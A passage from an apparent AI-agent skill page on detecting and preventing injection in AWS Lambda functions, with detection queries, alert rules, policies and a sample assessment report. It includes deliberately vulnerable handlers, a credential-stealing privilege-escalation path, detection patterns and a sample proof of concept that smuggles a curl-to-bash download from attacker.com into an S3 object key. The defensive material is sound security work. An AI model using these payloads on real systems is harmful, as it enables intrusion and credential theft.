passes through API Gateway into the Lambda event:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      user_agent = event['headers']['User-Agent']\n      # VULNERABLE: header value used in shell command\n      subprocess.run(f\"echo {user_agent} >> \u002Ftmp\u002Faccess.log\", shell=True)\n  ```\n\n- **DynamoDB Stream record injection**: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:\n  ```python\n  # Vulnerable Lambda handler\n  def handler(event, context):\n      for record in event['Records']:\n          new_image = record['dynamodb']['NewImage']\n          config = new_image['config']['S']\n          # VULNERABLE: DynamoDB record value used in exec\n          exec(config)\n  ```\n\n- **Detection via CloudWatch Logs Insights**: Query for evidence of injection attempts in function execution logs:\n  ```\n  fields @timestamp, @message\n  | filter @message like \u002F(?i)(eval|exec|os\\.system|child_process|subprocess|import os)\u002F\n  | filter @message like \u002F(?i)(error|exception|traceback|syntax)\u002F\n  | sort @timestamp desc\n  | limit 100\n  ```\n\n### Step 4: Detect Malicious Lambda Layer Injection\n\nIdentify unauthorized Lambda layers that intercept function execution or exfiltrate data:\n\n- **Audit current layer attachments**: List all functions and their layer versions to identify unexpected additions:\n  ```bash\n  aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json\n  ```\n- **Detect layer modification events in CloudTrail**: Query for `UpdateFunctionConfiguration` events that add or change layers:\n  ```bash\n  aws cloudtrail lookup-events \\\n    --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \\\n    --start-time \"2026-03-12T00:00:00Z\" \\\n    --end-time \"2026-03-19T23:59:59Z\" \\\n    --query 'Events[*].[EventTime,Username,CloudTrailEvent]'\n  ```\n  Parse the `CloudTrailEvent` JSON to check if `Layers` was modified in the request parameters.\n\n- **Analyze layer contents**: Download and inspect layer packages for malicious code:\n  ```bash\n  aws lambda get-layer-version --layer-name \u003Clayer-name> --version-number \u003Cversion> \\\n    --query 'Content.Location' --output text | xargs curl -o layer.zip\n  unzip layer.zip -d layer_contents\u002F\n  # Search for suspicious patterns\n  grep -rn \"urllib\\|requests\\|http\\|socket\\|exfil\\|base64\\|subprocess\" layer_contents\u002F\n  ```\n\n- **Layer hijacking indicators**: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:\n  - Python: Layer code in `\u002Fopt\u002Fpython\u002F` is imported before the function's own modules\n  - Node.js: Layer code in `\u002Fopt\u002Fnodejs\u002Fnode_modules\u002F` overrides function dependencies\n  - A layer providing a modified `boto3` package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint\n\n- **CloudTrail detection query for layer changes**:\n  ```json\n  {\n    \"source\": [\"aws.lambda\"],\n    \"detail-type\": [\"AWS API Call via CloudTrail\"],\n    \"detail\": {\n      \"eventName\": [\"UpdateFunctionConfiguration20150331v2\", \"PublishLayerVersion20181031\"],\n      \"errorCode\": [{\"exists\": false}]\n    }\n  }\n  ```\n\n### Step 5: Detect IAM Privilege Escalation via Lambda\n\nIdentify escalation paths where attackers modify functions to assume higher-privilege roles:\n\n- **The Lambda privilege escalation pattern**: An attacker with `lambda:UpdateFunctionCode` and `iam:PassRole` permissions can:\n  1. Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess)\n  2. Modify the function's code to call `sts:GetCallerIdentity` or perform privileged actions\n  3. Invoke the function, which executes with the high-privilege role\n  4. Exfiltrate the role's temporary credentials from the function's environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`)\n\n- **Detect UpdateFunctionCode events**: Monitor CloudTrail for function code modifications:\n  ```bash\n  aws cloudtrail lookup-events \\\n    --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \\\n    --start-time \"2026-03-12T00:00:00Z\" \\\n    --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table\n  ```\n\n- **Detect PassRole to Lambda**: `iam:PassRole` is required to attach a different execution role to a function. Monitor for this:\n  ```\n  # CloudWatch Logs Insights on CloudTrail logs\n  fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role\n  | filter eventName = \"UpdateFunctionConfiguration20150331v2\"\n  | filter ispresent(requestParameters.role)\n  | sort eventTime desc\n  ```\n\n- **Detect credential exfiltration from Lambda**: A compromised function may call STS or create new IAM entities:\n  ```\n  fields eventTime, userIdentity.arn, eventName, sourceIPAddress\n  | filter userIdentity.arn like \u002F.*:assumed-role\\\u002F.*lambda.*\u002F\n  | filter eventName in [\"GetCallerIdentity\", \"CreateUser\", \"AttachUserPolicy\",\n      \"CreateAccessKey\", \"AssumeRole\", \"PutUserPolicy\"]\n  | sort eventTime desc\n  ```\n\n- **EventBridge rule for real-time alerting**: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:\n  ```json\n  {\n    \"source\": [\"aws.lambda\"],\n    \"detail-type\": [\"AWS API Call via CloudTrail\"],\n    \"detail\": {\n      \"eventName\": [\n        \"UpdateFunctionCode20150331v2\",\n        \"UpdateFunctionConfiguration20150331v2\",\n        \"CreateFunction20150331\"\n      ],\n      \"errorCode\": [{\"exists\": false}]\n    }\n  }\n  ```\n\n### Step 6: Implement Runtime Injection Prevention\n\nDeploy runtime protection controls to prevent injection at execution time:\n\n- **Input validation at handler entry**: Validate and sanitize all event data before processing:\n  ```python\n  import re\n  import json\n  from functools import wraps\n\n  SAFE_PATTERNS = {\n      'userId': re.compile(r'^[a-zA-Z0-9\\-]{1,64}$'),\n      'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$'),\n      'action': re.compile(r'^(get|list|create|update|delete)$'),\n  }\n\n  def validate_event(schema):\n      \"\"\"Decorator that validates Lambda event against a whitelist schema.\"\"\"\n      def decorator(func):\n          @wraps(func)\n          def wrapper(event, context):\n              for field, pattern in schema.items():\n                  value = event.get(field, '')\n                  if isinstance(value, str) and not pattern.match(value):\n                      return {\n                          'statusCode': 400,\n                          'body': json.dumps({'error': f'Invalid {field}'})\n                      }\n              return func(event, context)\n          return wrapper\n      return decorator\n\n  @validate_event(SAFE_PATTERNS)\n  def handler(event, context):\n      # Event data is validated before reaching this point\n      user_id = event['userId']\n      # Safe to use in queries with parameterized statements\n      return {'statusCode': 200, 'body': json.dumps({'user': user_id})}\n  ```\n\n- **Lambda function URL authorization**: Ensure functions exposed via URLs require IAM auth:\n  ```bash\n  aws lambda get-function-url-config --function-name \u003Cname> \\\n    --query 'AuthType' --output text\n  # Must return \"AWS_IAM\", not \"NONE\"\n  ```\n\n- **Least privilege execution roles**: Restrict the function's IAM role to the minimum required permissions:\n  ```json\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"dynamodb:GetItem\",\n          \"dynamodb:PutItem\"\n        ],\n        \"Resource\": \"arn:aws:dynamodb:us-east-1:111122223333:table\u002FUserTable\"\n      },\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": \"logs:*\",\n        \"Resource\": \"arn:aws:logs:us-east-1:111122223333:log-group:\u002Faws\u002Flambda\u002Fmy-function:*\"\n      }\n    ]\n  }\n  ```\n\n- **SCP to prevent dangerous Lambda modifications**: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:\n  ```json\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Sid\": \"DenyLambdaCodeUpdateExceptCICD\",\n        \"Effect\": \"Deny\",\n        \"Action\": [\n          \"lambda:UpdateFunctionCode\",\n          \"lambda:UpdateFunctionConfiguration\"\n        ],\n        \"Resource\": \"*\",\n        \"Condition\": {\n          \"StringNotLike\": {\n            \"aws:PrincipalArn\": \"arn:aws:iam::*:role\u002FCICD-DeploymentRole\"\n          }\n        }\n      }\n    ]\n  }\n  ```\n\n- **AWS Lambda Powertools for structured logging**: Emit structured security events that can be ingested by SIEM:\n  ```python\n  from aws_lambda_powertools import Logger, Tracer\n  from aws_lambda_powertools.utilities.validation import validate\n\n  logger = Logger(service=\"payment-processor\")\n  tracer = Tracer()\n\n  @logger.inject_lambda_context\n  @tracer.capture_lambda_handler\n  def handler(event, context):\n      logger.info(\"Processing event\", extra={\n          \"source_ip\": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),\n          \"user_agent\": event.get('headers', {}).get('User-Agent'),\n          \"http_method\": event.get('httpMethod'),\n      })\n  ```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Event Source Poisoning** | An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event |\n| **Function Injection** | Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler |\n| **Lambda Layer Hijacking** | An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path |\n| **IAM Privilege Escalation via Lambda** | A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials |\n| **OWASP Serverless Top 10** | A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6) |\n| **Cold Start Injection** | An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context |\n| **Execution Role** | The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions |\n\n## Tools & Systems\n\n- **Semgrep**: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes\n- **Bandit**: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization\n- **AWS CloudTrail**: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns\n- **CloudWatch Logs Insights**: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns\n- **AWS Config**: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types\n- **Prowler**: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption\n\n## Common Scenarios\n\n### Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack\n\n**Context**: A SOC analyst receives a GuardDuty alert for `UnauthorizedAccess:IAMUser\u002FInstanceCredentialExfiltration.OutsideAWS` on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with `lambda:UpdateFunctionCode` permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.\n\n**Approach**:\n1. Query CloudTrail for `UpdateFunctionCode` events in the past 7 days to identify when the function was modified and by which principal:\n   ```\n   fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress\n   | filter eventName = \"UpdateFunctionCode20150331v2\"\n   | filter requestParameters.functionName = \"payment-processor\"\n   | sort eventTime desc\n   ```\n2. Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows\n3. Download the modified function code and find an injected snippet that POSTs `os.environ['AWS_ACCESS_KEY_ID']`, `AWS_SECRET_ACCESS_KEY`, and `AWS_SESSION_TOKEN` to an external endpoint on each invocation\n4. Check if the attacker also added a malicious layer by querying for `UpdateFunctionConfiguration` events with layer changes\n5. Verify the function's execution role permissions: the payment-processor role has `dynamodb:*`, `s3:GetObject`, `s3:PutObject`, and `sqs:SendMessage` across all resources, exceeding least privilege\n6. Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding `sts:GetCallerIdentity`, `s3:ListBuckets`, `dynamodb:Scan` on the customer table, and `iam:CreateUser` attempts\n7. Respond by reverting the function code from the last known-good deployment package in the CI\u002FCD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts `lambda:UpdateFunctionCode` to the CI\u002FCD role only\n\n**Pitfalls**:\n- Only checking the function code and missing malicious layers that persist even after the function code is reverted\n- Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3\n- Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid\n- Restoring the function without first preserving the malicious code as forensic evidence\n- Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open\n\n## Output Format\n\n```\n## Serverless Function Injection Assessment\n\n**Account**: 111122223333\n**Region**: us-east-1\n**Functions Analyzed**: 47\n**Event Source Mappings**: 23\n**Assessment Date**: 2026-03-19\n\n### Critical Findings\n\n#### FINDING-001: OS Command Injection in S3 Event Handler\n**Function**: image-resize-processor\n**Runtime**: python3.12\n**Severity**: Critical (CVSS 9.8)\n**Sink**: os.system() at handler.py:34\n**Source**: event['Records'][0]['s3']['object']['key']\n**Attack Vector**: Upload S3 object with key containing shell metacharacters\n**Proof of Concept**:\n  Object key: `; curl http:\u002F\u002Fattacker.com\u002Fshell.sh | bash`\n  Results in: os.system(\"convert \u002Ftmp\u002F; curl http:\u002F\u002Fattacker.com\u002Fshell.sh | bash\")\n**Remediation**: Replace os.system() with subprocess.run() with shell=False\n  and validate the S3 key against an allowlist pattern.\n\n#### FINDING-002: IAM Privilege Escalation Path\n**Function**: data-export-worker\n**Execution Role**: arn:aws:iam::111122223333:role\u002FDataExportRole\n**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*\n**Risk**: Any user with lambda:UpdateFunctionCode can modify this function\n  to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.\n**Remediation**: Apply least privilege to the execution role, restrict\n  lambda:UpdateFunctionCode via SCP to CI\u002FCD pipeline role only.\n\n#### FINDING-003: Unauthorized Layer Attached\n**Function**: auth-token-validator\n**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3\n**Layer Account**: External account (999888777666)\n**Risk**: Layer from untrusted external account can intercept all function\n  invocations, modify responses, or exfiltrate environment variables.\n**Remediation**: Remove the external layer, vendor the dependency into the\n  function's deployment package, add AWS Config rule to block external layers.\n\n### Detection Rules Deployed\n- EventBridge rule: Alert on UpdateFunctionCode from non-CI\u002FCD principals\n- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes\n- Config rule: Lambda functions must not have layers from external accounts\n- Config rule: Lambda execution roles must not have wildcard resource permissions\n```\n",{"name":5,"tags":44,"author":46,"domain":37,"license":15,"version":47,"category":5,"nist_csf":48,"subdomain":53,"description":7,"mitre_attack":54},[33,32,31,30,23,45],"CloudTrail","mukul975","1.0.0",[49,50,51,52],"PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01","cloud-security",[55,56,57,58,59],"T1190","T1059","T1648","T1078.004","T1068","main","5eea5b3296f4673b5f481e8bcc1ba76281149f16","modules\u002Fdetecting-serverless-function-injection",0,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core","https:\u002F\u002Fgithub.com\u002FHenriqueMC17","Qualquer tecnologia suficientemente avançada é indistinguível da mágica.","2026-09-28 22:40:38",{"source":8,"skillName":5,"commands":69,"prompt":79,"zipAvailable":80},[70,73,76],{"tool":71,"command":72},"npx","npx skills add HenriqueMC17\u002Fagente-core --skill detecting-serverless-function-injection",{"tool":74,"command":75},"bunx","bunx skills add HenriqueMC17\u002Fagente-core --skill detecting-serverless-function-injection",{"tool":77,"command":78},"pnpm","pnpm dlx skills add HenriqueMC17\u002Fagente-core --skill detecting-serverless-function-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fdetecting-serverless-function-injection\u002FSKILL.md",true,[82,87,93],{"path":83,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fdetecting-serverless-function-injection\u002FLICENSE",{"path":88,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":91,"sourceHtmlUrl":92},"references\u002Fapi-reference.md","REFERENCE","参考文档",5121,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fdetecting-serverless-function-injection\u002Freferences\u002Fapi-reference.md",{"path":94,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"scripts\u002Fagent.py","SCRIPT","脚本",26531,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fdetecting-serverless-function-injection\u002Fscripts\u002Fagent.py",[100,130,156,179,195,214],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":111,"publishedAt":39},"01M6HPFF0RCN0X6WT5EBSV71GY","validating-backup-integrity-for-recovery","Validate backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to ensure backups are reliable for disaster recovery and ransomware response scenarios.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[106],{"categoryNo":107,"categoryName":108,"taxonomyType":109,"taxonomyTypeDesc":110},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[112,113,114,115,116,117,37,118,119,120,121,122,123,28,124,125,126,127,128,129],"integrity","backup","recovery","validating backup integrity for recovery","for","testing","validate","verification","hash-verification","incident-response","ransomware","detection","t1490","disaster-recovery","restore","incident","disaster recovery","ransomware response",{"skillNo":131,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":134,"categories":135,"keywords":136,"publishedAt":39},"01M6HPFAWJVFK25Q33K3T7WQ8G","triaging-vulnerabilities-with-ssvc-framework","Triage and prioritize vulnerabilities using CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree framework to produce actionable remediation priorities.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[],[137,138,139,140,141,37,142,143,144,145,146,147,148,149,150,151,152,153,154,155],"vulnerabilities","framework","ssvc","triaging vulnerabilities with ssvc framework","with","triage and prioritize","CISA","vulnerability-management","risk-management","cvss","remediation","vulnerability","prioritization","decision-tree","prioritize","decision","priorities","actionable","tree",{"skillNo":157,"name":158,"nameZh":6,"description":159,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":162,"publishedAt":39},"01M6HPF6JS9X72WP59094H3ASQ","triaging-security-incident","Performs initial triage of security incidents to determine severity, scope, and required response actions using the NIST SP 800-61r3 and SANS PICERL frameworks. Classifies incidents by type, assigns priority based on business impact, and routes...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident\u002FSKILL.md",[],[163,164,127,37,165,166,167,28,124,168,169,170,171,172,173,174,175,176,177,178],"security","triaging security incident","actions","soc","NIST","analysis","severity-classification","incident-triage","SANS-PICERL","SOC-operations","picerl","conversion","isolation","scope","impact","consistency",{"skillNo":180,"name":181,"nameZh":6,"description":182,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":183,"categories":184,"keywords":185,"publishedAt":39},"01M6HPF2EX6ZYNYYHKBRJN7GEF","triaging-security-incident-with-ir-playbook","Classify and prioritize security incidents using structured IR playbooks to determine severity, assign response teams, and initiate appropriate response procedures.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident-with-ir-playbook\u002FSKILL.md",[],[163,186,187,164,127,141,37,188,166,121,189,190,28,124,191,169,151,192,193,194],"playbook","triaging security incident with ir playbook","teams","IR-playbook","severity","classification","classify","incidents","initiate",{"skillNo":196,"name":197,"nameZh":6,"description":198,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":199,"categories":200,"keywords":201,"publishedAt":39},"01M6HPEY9XPGE7X95AG4XJFQAW","triaging-security-alerts-in-splunk","Triages security alerts in Splunk Enterprise Security by classifying severity, investigating notable events, correlating related telemetry, and making escalation or closure decisions using SPL queries and the Incident Review dashboard. Use when...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-alerts-in-splunk\u002FSKILL.md",[],[163,202,203,204,205,206,37,207,208,209,166,210,28,211,212,213,172,27,127,25],"security alerts","splunk","triaging security alerts in splunk","alerts","review","siem","dashboard","search","correlation-search","t1566","notable-events","incident-review",{"skillNo":215,"name":216,"nameZh":6,"description":217,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":218,"categories":219,"keywords":220,"publishedAt":39},"01M6HPET6XGEPEJPN7V032JGZ0","tracking-threat-actor-infrastructure","Threat actor infrastructure tracking involves monitoring and mapping adversary-controlled assets including command-and-control (C2) servers, phishing domains, exploit kit hosts, bulletproof hosting, a","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftracking-threat-actor-infrastructure\u002FSKILL.md",[],[221,222,223,224,37,225,226,227,228,229,230,211,231,232,27,233,25,234,235,236],"infrastructure","tracking threat actor infrastructure","tracking","threat","monitoring","mitre-attack","threat-actor","threat-intelligence","command-and-control","dns","command","exploit","intelligence","domains","kit","hosts"]